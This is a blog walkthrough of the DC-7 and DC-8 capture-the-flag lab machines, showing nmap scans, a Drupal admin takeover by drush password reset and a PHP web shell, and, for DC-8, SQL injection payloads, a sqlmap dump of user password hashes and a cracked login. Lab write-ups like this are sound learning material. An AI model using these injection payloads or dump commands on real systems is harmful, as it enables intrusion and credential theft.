These are the last machines in the DC series \u2014 and definitely the toughest ones. Each pushed me harder than the earlier boxes and forced me to level up in enumeration, shell access, and privilege escalation. But they also gave me a big confidence boost: these challenges are starting to feel more natural.<\/p>\n\n\n\n
DC-7<\/h1>\n\n\n\n
Enumeration<\/h2>\n\n\n\n
We start off with a typical full-port aggressive scan:<\/p>\n\n\n\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/Downloads\/ctf\/dc-7]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.25\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-14 06:13 EDT\nNmap scan report for 10.0.2.25\nHost is up (0.00068s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)\n| ssh-hostkey: \n| 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)\n| 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)\n|_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)\n80\/tcp open http Apache httpd 2.4.25 ((Debian))\n|_http-title: Welcome to DC-7 | D7\n|_http-generator: Drupal 8 (https:\/\/www.drupal.org)\n|_http-server-header: Apache\/2.4.25 (Debian)\n| http-robots.txt: 22 disallowed entries (15 shown)\n| \/core\/ \/profiles\/ \/README.txt \/web.config \/admin\/ \n| \/comment\/reply\/ \/filter\/tips \/node\/add\/ \/search\/ \/user\/register\/ \n| \/user\/password\/ \/user\/login\/ \/user\/logout\/ \/index.php\/admin\/ \n|_\/index.php\/comment\/reply\/\nMAC Address: 08:00:27:39:3F:58 (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n
So we\u2019ve got a web server running Drupal 8 \u2014 time to dive in.<\/p>\n\n\n\n
HTTP (80)<\/h2>\n\n\n\n
At first glance, the website just shows a simple welcome page. Banner grabbing confirmed it’s a Drupal 8 instance. I ran a few quick checks:<\/p>\n\n\n\n
\n
Manual browsing \u2192 led nowhere fast.<\/li>\n\n\n\n
droopescan<\/code> \u2192 didn\u2019t work due to a dependency conflict (I wasted way too much time on this).<\/li>\n\n\n\n
gobuster<\/code> \u2192 didn\u2019t turn up anything useful either.<\/li>\n<\/ul>\n\n\n\n
At this point, I felt stuck \u2014 so I went back to the basics and started inspecting the source code. That\u2019s when I noticed a small hidden message in the site footer: @dc7user<\/code> A quick Google search led me to a GitHub profile \u2014 and inside one of the repos, I found a database password:<\/p>\n\n\n\n<\/figure>\n\n\n\n
With no login panel on the site, I took a chance and tried it as the SSH password\u2026<\/p>\n\n\n\n<\/figure>\n\n\n\n
Initial Access<\/h2>\n\n\n\n
Once logged in via SSH as dc7user<\/code>, I was greeted with the message: \u2018You have mail\u2019 I checked the mail inside \/home\/dc7user<\/code> and found a message from root<\/code>. It mentioned something about a backup script.<\/p>\n\n\n\n<\/figure>\n\n\n\n
Naturally, I went digging and found the referenced script sitting in a directory. The backup script contained a call to a drush<\/code> command \u2014 a CLI tool used for managing Drupal sites. I was allowed to run drush<\/code> as dc7user<\/code>. Running drush --help<\/code> revealed a function to functionality to reset user passwords<\/strong>.<\/p>\n\n\n\n
Assuming there’s a default admin<\/code> user (as is common with many CMS setups), I used drush<\/code> to reset the password:<\/p>\n\n\n\n<\/figure>\n\n\n\n
Now that I had full admin access to the Drupal backend, I looked for a way to get code execution. There wasn\u2019t any built-in option to add PHP directly to a content page, so I installed a module that allowed execution of PHP in page content:<\/p>\n\n\n\n<\/figure>\n\n\n\n
After enabling that module, I created a new page and embedded a simple PHP web shell<\/strong>.<\/p>\n\n\n\n<\/figure>\n\n\n\n
Escalating Privileges<\/h2>\n\n\n\n
Earlier, we discovered that the www-data<\/code> user has permissions to execute the backup script<\/strong>. Now that we have access as www-data<\/code> through the Drupal web shell, we can take full advantage of that. I edited the backup script and inserted a simple bash reverse shell<\/strong>, pointing back to my attack box.<\/p>\n\n\n\n
After triggering the script (or waiting for it to be executed \u2014 depending on how the cron or automation is configured), I got a reverse shell back and recieved the flag:<\/p>\n\n\n\n<\/figure>\n\n\n\n
DC-8<\/h1>\n\n\n\n
Nmap scan:<\/p>\n\n\n\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nmap -sCV -T4 -A -p- -Pn 10.0.2.26\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-07-15 05:02 EDT\nNmap scan report for 10.0.2.26\nHost is up (0.00048s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)\n| ssh-hostkey: \n| 2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)\n| 256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)\n|_ 256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)\n80\/tcp open http Apache httpd\n| http-robots.txt: 36 disallowed entries (15 shown)\n| \/includes\/ \/misc\/ \/modules\/ \/profiles\/ \/scripts\/ \n| \/themes\/ \/CHANGELOG.txt \/cron.php \/INSTALL.mysql.txt \n| \/INSTALL.pgsql.txt \/INSTALL.sqlite.txt \/install.php \/INSTALL.txt \n|_\/LICENSE.txt \/MAINTAINERS.txt\n|_http-generator: Drupal 7 (http:\/\/drupal.org)\n|_http-title: Welcome to DC-8 | DC-8\n|_http-server-header: Apache\nMAC Address: 08:00:27:6D:8B:6A (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n
HTTP (80)<\/h2>\n\n\n\n
When browsing to the IP, I was greeted with another Drupal site<\/strong>. I started by checking the robots.txt<\/code> file, which had some common disallowed paths, but nothing too exciting. However, I noticed a bunch of database-related files<\/strong> referenced, so I kept my eyes open for SQL-related bugs. On the homepage, I saw several headers leading to internal pages. Clicking one of the hyperlinks led me to a URL that looked like:<\/p>\n\n\n\n<\/figure>\n\n\n\n
I added a '<\/code> to the nid<\/code> parameter:<\/p>\n\n\n\n<\/figure>\n\n\n\n
I was greeted with a MariaDB error<\/strong>, which strongly hinted at a possible SQL injection vulnerability<\/strong>. I wanted to practice manual SQLi<\/strong>, so I didn\u2019t rush into using sqlmap<\/code> right away. Basic union testing:<\/p>\n\n\n\n
?nid=1 UNION SELECT 1,2--+<\/code><\/pre>\n\n\n\n
Only one column seemed to be reflected back. When I tried to call database()<\/code> or other functions, I didn\u2019t get any visible output on the page. No output in the response either \u2192 possibly blind SQLi<\/strong>. After a bit of experimenting (and some help from AI ), I used the following payload:<\/p>\n\n\n\n
http:\/\/10.0.2.26\/?nid=1 and extractvalue(1,concat(0x5c,(select database())))--+<\/code><\/pre>\n\n\n\n
This forced an error message that revealed the database name<\/strong>:<\/p>\n\n\n\n
d7db<\/code><\/pre>\n\n\n\n
Using similar techniques, I continued with:<\/p>\n\n\n\n
-1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'd7db'--+\n\n-1 UNION SELECT column_name FROM information_schema.columns WHERE table_schema = 'd7db' AND table_name = 'actions'--+<\/code><\/pre>\n\n\n\n
This was a slow<\/strong> process and the output was limited (usually one item at a time), so eventually I gave in and used sqlmap<\/code> to speed things up.<\/p>\n\n\n\n
The database had 88 tables<\/strong>, but I focused on the users<\/code> table. Dumping the data:<\/p>\n\n\n\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/Downloads\/ctf\/dc-8]\n\u2514\u2500$ sqlmap -u \"http:\/\/10.0.2.26\/?nid=1%20\" -D d7db -T users -C name,mail,pass --dump\n\n[2 entries]\n+--------+-----------------------+---------------------------------------------------------+\n| name | mail | pass |\n+--------+-----------------------+---------------------------------------------------------+\n| admin | dcau-user@outlook.com | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |\n| john | john@blahsdfsfd.org | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku\/3if\/oRVZJaz5mKC2vF |\n+--------+-----------------------+---------------------------------------------------------+<\/code><\/pre>\n\n\n\n
Initial Access<\/h2>\n\n\n\n
After dumping the users and their hashes from the Drupal database, I cracked them using John the Ripper<\/strong>. The password for user john<\/code> turned out to be:<\/p>\n\n\n\n<\/figure>\n\n\n\n
There wasn\u2019t any visible login link on the homepage, but I remembered to check the robots.txt<\/code> file \u2014 and sure enough, there was a hidden path listed: \/user\/login<\/code> Using the credentials john:turtle<\/code>, I was able to log in. At first, the account didn\u2019t seem very useful \u2014 I only had permission to add content<\/strong>, and any PHP I tried to inject was just rendered as plain HTML<\/strong> (filtered out). I did a bit of Googling and clicked around in the admin panel. That\u2019s when I noticed something interesting: the Webform module<\/strong> allowed code injection! <\/p>\n\n\n\n
![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-43-1024x769.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-44.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-45.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-46-1024x106.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-47.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-48-1024x361.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-49.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-50-1024x315.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-51-1024x260.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-52.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-53-1024x397.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-54-1024x537.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-55.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-56-1024x334.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-57-1024x597.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-58.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-59.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-60-1024x195.png\")
<\/figure>\n\n\n\n![\"\"](\"https:\/\/hackingwithj.com\/wp-content\/uploads\/2025\/07\/image-61.png\")
<\/figure>\n\n\n\n